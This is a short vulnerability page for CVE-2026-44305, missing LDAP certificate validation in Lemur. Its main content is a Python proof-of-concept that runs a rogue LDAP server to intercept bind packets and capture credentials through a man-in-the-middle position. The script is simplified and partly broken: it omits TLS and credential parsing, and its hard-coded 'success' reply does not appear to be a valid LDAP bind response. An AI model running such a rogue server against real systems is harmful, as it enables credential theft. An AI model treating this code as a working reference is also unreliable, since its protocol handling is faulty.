CVE-2026-44305 Lemur LDAP证书验证缺失漏洞

# This is a conceptual PoC script demonstrating how a Man-In-The-Middle (MITM) # could be set up to intercept credentials due to lack of certificate validation. # It simulates a rogue LDAP server accepting connections. import socket import threading print("[!] Starting rogue LDAP server on port 389...") print("[!] This simulates an attacker intercepting traffic due to CVE-2026-44305.") def handle_connection(client_socket): try: # In a real attack, the attacker would perform a TLS handshake here. # Because Lemur disables verification, a self-signed cert would be accepted. print("[*] Intercepted connection from: " + str(client_socket.getpeername())) # Wait for LDAP Bind Request (simplified) data = client_socket.recv(1024) if data: print(f"[+] Captured LDAP Bind Packet (Hex): {data.hex()}") # In a real scenario, parse ASN.1 to extract credentials print("[+] Credentials potentially extracted from packet.") # Send a fake success response response = bytes.fromhex("300c02010160070a010304020080") client_socket.send(response) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 389)) server.listen(5) while True: client, addr = server.accept() client_handler = threading.Thread(target=handle_connection, args=(client,)) client_handler.start()